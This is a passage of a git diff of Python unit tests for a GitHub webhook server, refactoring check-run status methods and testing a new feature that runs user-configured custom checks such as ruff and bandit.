test_set_python_module_install_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to failure status.""" output = {"title": "Module install failed", "summary": "Module summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_failure(output) + await check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) mock_set_status.assert_called_once_with( check_run=PYTHON_MODULE_INSTALL_STR, conclusion=FAILURE_STR, output=output ) @pytest.mark.asyncio - async def test_set_conventional_title_queued(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_queued_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_queued() - mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR) + await check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR) + mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_conventional_title_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_in_progress() + await check_run_handler.set_check_in_progress(name=CONVENTIONAL_TITLE_STR) mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_conventional_title_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to success status.""" output = {"title": "Title valid", "summary": "Title summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_success(output) + await check_run_handler.set_check_success(name=CONVENTIONAL_TITLE_STR, output=output) mock_set_status.assert_called_once_with( check_run=CONVENTIONAL_TITLE_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_conventional_title_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to failure status.""" output = {"title": "Title invalid", "summary": "Title summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_failure(output) + await check_run_handler.set_check_failure(name=CONVENTIONAL_TITLE_STR, output=output) mock_set_status.assert_called_once_with( check_run=CONVENTIONAL_TITLE_STR, conclusion=FAILURE_STR, output=output ) @pytest.mark.asyncio - async def test_set_cherry_pick_in_progress(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to in progress status.""" + async def test_set_check_in_progress_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to in progress status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_in_progress() + await check_run_handler.set_check_in_progress(name=CHERRY_PICKED_LABEL) mock_set_status.assert_called_once_with(check_run=CHERRY_PICKED_LABEL, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_cherry_pick_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to success status.""" + async def test_set_check_success_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to success status using generic method.""" output = {"title": "Cherry pick successful", "summary": "Cherry pick summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_success(output) + await check_run_handler.set_check_success(name=CHERRY_PICKED_LABEL, output=output) mock_set_status.assert_called_once_with( check_run=CHERRY_PICKED_LABEL, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_cherry_pick_failure(self, check_run_handler: CheckRunHandler) -> None: - """Test setting cherry pick check to failure status.""" + async def test_set_check_failure_cherry_picked(self, check_run_handler: CheckRunHandler) -> None: + """Test setting cherry pick check to failure status using generic method.""" output = {"title": "Cherry pick failed", "summary": "Cherry pick summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_cherry_pick_failure(output) + await check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL, output=output) mock_set_status.assert_called_once_with( check_run=CHERRY_PICKED_LABEL, conclusion=FAILURE_STR, output=output ) diff --git a/webhook_server/tests/test_config_schema.py b/webhook_server/tests/test_config_schema.py index 91e058bd..a1292bc6 100644 --- a/webhook_server/tests/test_config_schema.py +++ b/webhook_server/tests/test_config_schema.py @@ -78,6 +78,14 @@ def valid_full_config(self) -> dict[str, Any]: "can-be-merged-required-labels": ["ready"], "conventional-title": "feat,fix,docs", "minimum-lgtm": 2, + "custom-check-runs": [ + {"name": "lint", "command": "uv tool run ruff check"}, + { + "name": "security-scan", + "command": "uv tool run bandit -r .", + "mandatory": False, + }, + ], } }, } @@ -131,6 +139,18 @@ def test_valid_full_config_loads(self, valid_full_config: dict[str, Any], monkey assert repo_data["name"] == "org/test-repo" assert repo_data["minimum-lgtm"] == 2 assert repo_data["conventional-title"] == "feat,fix,docs" + + # Test custom-check-runs structure + custom_check_runs = repo_data["custom-check-runs"] + assert len(custom_check_runs) == 2 + # First check run: name and command only (mandatory defaults to true) + assert custom_check_runs[0]["name"] == "lint" + assert custom_check_runs[0]["command"] == "uv tool run ruff check" + assert "mandatory" not in custom_check_runs[0] # Uses default + # Second check run: includes explicit mandatory=False + assert custom_check_runs[1]["name"] == "security-scan" + assert custom_check_runs[1]["command"] == "uv tool run bandit -r ." + assert custom_check_runs[1]["mandatory"] is False finally: shutil.rmtree(temp_dir) diff --git a/webhook_server/tests/test_context.py b/webhook_server/tests/test_context.py index 0e4b1ea9..155af5e7 100644 --- a/webhook_server/tests/test_context.py +++ b/webhook_server/tests/test_context.py @@ -12,6 +12,7 @@ from webhook_server.utils.context import ( WebhookContext, + _format_duration, clear_context, create_context, get_context, @@ -1066,3 +1067,48 @@ def test_to_dict_summary_is_none_without_completed_at(self): # Verify summary field is None assert "summary" in result assert result["summary"] is None + + def test_build_summary_step_without_duration(self): + """Test summary with step that has no duration_ms (covers line 320).""" + ctx = WebhookContext( + hook_id="test-hook", + event_type="pull_request", + repository="test/repo", + repository_full_name="test/repo", + ) + ctx.workflow_steps["test_step"] = {"status": "completed", "duration_ms": None} + + # Set completed_at to enable summary generation + start_time = datetime(2024, 1, 15, 10, 0, 0, tzinfo=UTC) + completed_time = datetime(2024, 1, 15, 10, 0, 1, tzinfo=UTC) + ctx.started_at = start_time + ctx.completed_at = completed_time + + summary = ctx._build_summary() + assert "test_step:completed" in summary + # Verify duration is NOT included for step (no parentheses with duration) + assert "test_step:completed(" not in summary + + +class TestFormatDuration: + """Tests for _format_duration() helper function.""" + + def test_format_duration_minutes_with_seconds(self): + """Test minutes with remaining seconds (covers lines 67-71).""" + assert _format_duration(75000) == "1m15s" # 1 minute 15 seconds + assert _format_duration(135000) == "2m15s" # 2 minutes 15 seconds + + def test_format_duration_minutes_exact(self): + """Test exact minutes (covers line 72).""" + assert _format_duration(120000) == "2m" # 2 minutes exactly + assert _format_duration(180000) == "3m" # 3 minutes exactly + + def test_format_duration_hours_with_minutes(self): + """Test hours with remaining minutes (covers lines 74-77).""" + assert _format_duration(3900000) == "1h5m" # 1 hour 5 minutes + assert _format_duration(7500000) == "2h5m" # 2 hours 5 minutes + + def test_format_duration_hours_exact(self): + """Test exact hours (covers line 78).""" + assert _format_duration(7200000) == "2h" # 2 hours exactly + assert _format_duration(10800000) == "3h" # 3 hours exactly diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py new file mode 100644 index 00000000..c116ff28 --- /dev/null +++ b/webhook_server/tests/test_custom_check_runs.py @@ -0,0 +1,1128 @@ +"""Comprehensive tests for custom check runs feature. + +This test suite covers: +1. Schema validation tests - Test that the configuration schema validates correctly +2. CheckRunHandler tests - Test custom check methods (set_custom_check_*) +3. RunnerHandler tests - Test run_custom_check method execution +4. Integration tests - Test that custom checks are queued and executed on PR events +5. Retest command tests - Test /retest name command + +The custom check runs feature allows users to define custom checks via YAML configuration: +- Custom check names match exactly what's configured in YAML (no prefix added) +- Checks behave like built-in checks (fail if command not found) +- Custom checks are included in all_required_status_checks when required=true +- Custom checks are added to supported retest list +""" + +import asyncio +from pathlib import Path +from typing import Any +from unittest.mock import AsyncMock, Mock, patch + +import pytest + +from webhook_server.libs.github_api import GithubWebhook +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput +from webhook_server.libs.handlers.pull_request_handler import PullRequestHandler +from webhook_server.libs.handlers.runner_handler import RunnerHandler +from webhook_server.utils.constants import ( + FAILURE_STR, + IN_PROGRESS_STR, + QUEUED_STR, + SUCCESS_STR, +) + + +class TestCustomCheckRunsSchemaValidation: + """Test suite for custom check runs schema validation. + + These tests use the production validator (GithubWebhook._validate_custom_check_runs) + to ensure configurations are validated correctly against the schema rules. + """ + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance for validation testing.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + return mock_webhook + + @pytest.fixture + def valid_custom_check_config(self) -> dict[str, Any]: + """Create a valid custom check configuration.""" + return { + "name": "my-custom-check", + "command": "uv tool run --from ruff ruff check", + } + + @pytest.fixture + def minimal_custom_check_config(self) -> dict[str, Any]: + """Create a minimal valid custom check configuration.""" + return { + "name": "minimal-check", + "command": "uv tool run --from pytest pytest", + } + + def test_valid_custom_check_config( + self, mock_github_webhook: Mock, valid_custom_check_config: dict[str, Any] + ) -> None: + """Test that valid custom check configuration passes validation.""" + raw_checks = [valid_custom_check_config] + + # Mock shutil.which to simulate finding the executable + with patch("shutil.which", return_value="/usr/bin/uv"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Validation should pass + assert len(validated) == 1 + assert validated[0]["name"] == "my-custom-check" + assert validated[0]["command"] == "uv tool run --from ruff ruff check" + + def test_minimal_custom_check_config( + self, mock_github_webhook: Mock, minimal_custom_check_config: dict[str, Any] + ) -> None: + """Test that minimal custom check configuration passes validation.""" + raw_checks = [minimal_custom_check_config] + + # Mock shutil.which to simulate finding the executable + with patch("shutil.which", return_value="/usr/bin/uv"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Validation should pass + assert len(validated) == 1 + assert validated[0]["name"] == "minimal-check" + + def test_custom_check_with_multiline_command(self, mock_github_webhook: Mock) -> None: + """Test that custom check with multiline command passes validation.""" + config = { + "name": "complex-check", + "command": "python -c \"\nimport sys\nprint('Running check')\nsys.exit(0)\n\"", + } + raw_checks = [config] + + # Mock shutil.which to simulate finding python + with patch("shutil.which", return_value="/usr/bin/python"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Validation should pass - python is extracted as the executable + assert len(validated) == 1 + assert validated[0]["name"] == "complex-check" + assert "\n" in validated[0]["command"] + + def test_custom_check_with_mandatory_option(self, mock_github_webhook: Mock) -> None: + """Test that custom check with mandatory=true/false passes validation.""" + raw_checks = [ + {"name": "mandatory-check", "command": "echo test", "mandatory": True}, + {"name": "optional-check", "command": "echo test", "mandatory": False}, + ] + + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Both should pass validation (mandatory is not validated by _validate_custom_check_runs) + assert len(validated) == 2 + assert validated[0]["mandatory"] is True + assert validated[1]["mandatory"] is False + + def test_invalid_config_missing_name(self, mock_github_webhook: Mock) -> None: + """Test that config missing 'name' field fails validation.""" + raw_checks = [{"command": "echo test"}] + + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail validation + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call("Custom check missing required 'name' field, skipping") + + def test_invalid_config_missing_command(self, mock_github_webhook: Mock) -> None: + """Test that config missing 'command' field fails validation.""" + raw_checks = [{"name": "test-check"}] + + with patch("shutil.which", return_value="/usr/bin/echo"): + validated = GithubWebhook._validate_custom_check_runs(mock_github_webhook, raw_checks) + + # Should fail validation + assert len(validated) == 0 + mock_github_webhook.logger.warning.assert_any_call( + "Custom check 'test-check' missing required 'command' field, skipping" + ) + + +class TestCheckRunHandlerCustomCheckMethods: + """Test suite for CheckRunHandler custom check methods.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.repository_by_github_app = Mock() + mock_webhook.last_commit = Mock() + mock_webhook.last_commit.sha = "test-sha-123" + mock_webhook.custom_check_runs = [ + {"name": "lint", "command": "uv tool run --from ruff ruff check"}, + {"name": "security-scan", "command": "uv tool run --from bandit bandit -r ."}, + ] + return mock_webhook + + @pytest.fixture + def check_run_handler(self, mock_github_webhook: Mock) -> CheckRunHandler: + """Create a CheckRunHandler instance with mocked dependencies.""" + return CheckRunHandler(mock_github_webhook) + + @pytest.mark.asyncio + async def test_set_custom_check_queued(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to queued status.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_queued(name=check_name) + mock_set_status.assert_called_once_with(check_run=check_name, status=QUEUED_STR, output=None) + + @pytest.mark.asyncio + async def test_set_custom_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to in_progress status.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_in_progress(name=check_name) + mock_set_status.assert_called_once_with(check_run=check_name, status=IN_PROGRESS_STR) + + @pytest.mark.asyncio + async def test_set_custom_check_success_with_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to success with output.""" + check_name = "lint" + output: CheckRunOutput = {"title": "Lint passed", "summary": "All checks passed", "text": "No issues found"} + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_success(name=check_name, output=output) + mock_set_status.assert_called_once_with( + check_run=check_name, + conclusion=SUCCESS_STR, + output=output, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_success_without_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to success without output.""" + check_name = "lint" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_success(name=check_name, output=None) + mock_set_status.assert_called_once_with( + check_run=check_name, + conclusion=SUCCESS_STR, + output=None, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_failure_with_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to failure with output.""" + check_name = "security-scan" + output: CheckRunOutput = { + "title": "Security scan failed", + "summary": "Vulnerabilities found", + "text": "3 critical issues", + } + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_failure(name=check_name, output=output) + mock_set_status.assert_called_once_with( + check_run=check_name, + conclusion=FAILURE_STR, + output=output, + ) + + @pytest.mark.asyncio + async def test_set_custom_check_failure_without_output(self, check_run_handler: CheckRunHandler) -> None: + """Test setting custom check to failure without output.""" + check_name = "security-scan" + + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_failure(name=check_name, output=None) + mock_set_status.assert_called_once_with( + check_run=check_name, + conclusion=FAILURE_STR, + output=None, + ) + + @pytest.mark.asyncio + async def test_all_required_status_checks_includes_mandatory_custom_checks_only( + self, check_run_handler: CheckRunHandler + ) -> None: + """Test that all_required_status_checks includes only mandatory custom checks (default is true).""" + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + # Mock the get_branch_required_status_checks to return empty list + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Should include all custom checks (both are mandatory by default) + assert "lint" in result + assert "security-scan" in result + + +class TestCustomCheckMandatoryOption: + """Test suite for custom check mandatory option.""" + + @pytest.fixture + def mock_github_webhook_with_mixed_mandatory(self) -> Mock: + """Create a mock GithubWebhook instance with both mandatory and optional checks.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.repository_by_github_app = Mock() + mock_webhook.last_commit = Mock() + mock_webhook.last_commit.sha = "test-sha-123" + mock_webhook.custom_check_runs = [ + {"name": "mandatory-check-1", "command": "echo test1", "mandatory": True}, + {"name": "optional-check", "command": "echo test2", "mandatory": False}, + {"name": "mandatory-check-2", "command": "echo test3", "mandatory": True}, + {"name": "default-mandatory-check", "command": "echo test4"}, # No mandatory field = default to true + ] + return mock_webhook + + @pytest.mark.asyncio + async def test_mandatory_true_checks_included_in_required( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that checks with mandatory=true are included in required status checks.""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Mandatory checks should be included + assert "mandatory-check-1" in result + assert "mandatory-check-2" in result + + @pytest.mark.asyncio + async def test_mandatory_false_checks_excluded_from_required( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that checks with mandatory=false are NOT included in required status checks.""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Optional check should NOT be included + assert "optional-check" not in result + + @pytest.mark.asyncio + async def test_default_mandatory_is_true(self, mock_github_webhook_with_mixed_mandatory: Mock) -> None: + """Test that checks without mandatory field default to mandatory=true (backward compatibility).""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Check without mandatory field should default to true and be included + assert "default-mandatory-check" in result + + @pytest.mark.asyncio + async def test_both_mandatory_and_optional_checks_are_queued( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that both mandatory and optional checks are queued and executed. + + The mandatory flag ONLY affects whether the check is required for merging, + NOT whether the check is executed. All checks should still be queued and executed. + """ + + mock_owners_handler = Mock() + pull_request_handler = PullRequestHandler(mock_github_webhook_with_mixed_mandatory, mock_owners_handler) + pull_request_handler.check_run_handler.set_check_queued = AsyncMock() + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + # Mock all the methods called in process_opened_or_synchronize_pull_request + with ( + patch.object(pull_request_handler.owners_file_handler, "assign_reviewers", new=AsyncMock()), + patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), + patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), + patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), + patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), + patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_tox", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_pre_commit", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_install_python_module", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_build_container", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_custom_check", new=AsyncMock()), + ): + await pull_request_handler.process_opened_or_synchronize_pull_request(pull_request=mock_pull_request) + + # Verify set_check_queued was called for ALL custom checks (mandatory and optional) + queued_check_names = [ + call.kwargs["name"] for call in pull_request_handler.check_run_handler.set_check_queued.call_args_list + ] + + assert "mandatory-check-1" in queued_check_names + assert "optional-check" in queued_check_names + assert "mandatory-check-2" in queued_check_names + assert "default-mandatory-check" in queued_check_names + + +class TestRunnerHandlerCustomCheck: + """Test suite for RunnerHandler run_custom_check method.""" + + @pytest.fixture + def mock_github_webhook(self, tmp_path: Path) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") + mock_webhook.mask_sensitive = True + return mock_webhook + + @pytest.fixture + def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: + """Create a RunnerHandler instance with mocked dependencies.""" + handler = RunnerHandler(mock_github_webhook) + # Mock check_run_handler methods + handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() + handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output text") + return handler + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + return mock_pr + + @pytest.mark.asyncio + async def test_run_custom_check_success( + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path + ) -> None: + """Test successful execution of custom check.""" + check_config = { + "name": "lint", + "command": "uv tool run --from ruff ruff check", + } + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify check run status updates + runner_handler.check_run_handler.set_check_in_progress.assert_called_once_with(name="lint") + runner_handler.check_run_handler.set_check_success.assert_called_once() + + # Verify command was executed + mock_run.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_failure( + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path + ) -> None: + """Test failed execution of custom check.""" + check_config = { + "name": "security-scan", + "command": "uv tool run --from bandit bandit -r .", + } + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(False, "output", "error message")), + ), + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify failure status was set + runner_handler.check_run_handler.set_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_checkout_failure( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test custom check when repository checkout fails.""" + check_config = { + "name": "lint", + "command": "uv tool run --from pytest pytest", + } + + # Create async context manager mock with failed checkout + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(False, "", "checkout output", "checkout error")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify failure status was set due to checkout failure + runner_handler.check_run_handler.set_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_custom_check_command_execution_in_worktree( + self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path + ) -> None: + """Test that custom check command is executed in worktree directory. + + Custom checks are wrapped in /bin/sh -c to support shell syntax (env vars, pipes, etc.). + """ + check_config = { + "name": "build", + "command": "uv tool run --from build python -m build", + } + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "output", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command is wrapped in shell and executed with cwd parameter set to worktree + mock_run.assert_called_once() + call_args = mock_run.call_args.kwargs + # Command is wrapped in /bin/sh -c to support shell syntax (env vars, pipes, etc.) + assert call_args["command"] == "/bin/sh -c 'uv tool run --from build python -m build'" + assert call_args["cwd"] == str(worktree) + + +class TestCustomCheckRunsIntegration: + """Integration tests for custom check runs feature.""" + + @pytest.fixture + def mock_github_webhook(self, tmp_path: Path) -> Mock: + """Create a mock GithubWebhook instance with custom checks configured.""" + mock_webhook = Mock() + mock_webhook.hook_data = { + "action": "opened", + "pull_request": {"number": 123}, + } + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = str(tmp_path / "test-repo") + mock_webhook.mask_sensitive = True + mock_webhook.custom_check_runs = [ + { + "name": "lint", + "command": "uv tool run --from ruff ruff check", + }, + { + "name": "security", + "command": "uv tool run --from bandit bandit -r .", + }, + ] + return mock_webhook + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + mock_pr.draft = False + return mock_pr + + @pytest.mark.asyncio + async def test_custom_checks_execution_workflow( + self, mock_github_webhook: Mock, mock_pull_request: Mock, tmp_path: Path + ) -> None: + """Test complete workflow of custom check execution.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Mock output") + + check_config = mock_github_webhook.custom_check_runs[0] # lint check + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "Lint passed", "")), + ), + ): + # Execute the check + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify workflow: in_progress -> execute -> success + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() + + +class TestCustomCheckRunsRetestCommand: + """Test suite for /retest command functionality for custom checks. + + Custom checks can be retested using just the check name: /retest lint + """ + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance with custom checks.""" + mock_webhook = Mock() + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.custom_check_runs = [ + {"name": "lint", "command": "uv tool run --from ruff ruff check"}, + {"name": "security", "command": "uv tool run --from bandit bandit -r ."}, + ] + return mock_webhook + + @pytest.mark.asyncio + async def test_retest_custom_check_command_format(self, mock_github_webhook: Mock) -> None: + """Test that custom checks can be retested using their name directly. + + /retest lint should work for a custom check named 'lint'. + """ + for check in mock_github_webhook.custom_check_runs: + check_name = check["name"] + + # The retest command should use the check name directly + retest_command = f"/retest {check_name}" + assert retest_command == f"/retest {check_name}" + + # Check name should match exactly what's in the config + assert check_name in ["lint", "security"] + + @pytest.mark.asyncio + async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None: + """Test that all custom checks are included in retest list.""" + # Get all custom check names + custom_check_names = [check["name"] for check in mock_github_webhook.custom_check_runs] + + # Verify expected checks are present + assert "lint" in custom_check_names + assert "security" in custom_check_names + assert len(custom_check_names) == 2 + + @pytest.mark.asyncio + async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: Mock, tmp_path: Path) -> None: + """Test that /retest lint triggers check execution.""" + runner_handler = RunnerHandler(mock_github_webhook) + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_success = AsyncMock() + runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Test output") + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + # The check config uses raw name (as it appears in custom_check_runs) + check_config = mock_github_webhook.custom_check_runs[0] + + worktree = tmp_path / "worktree" + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) + mock_checkout_cm.__aexit__ = 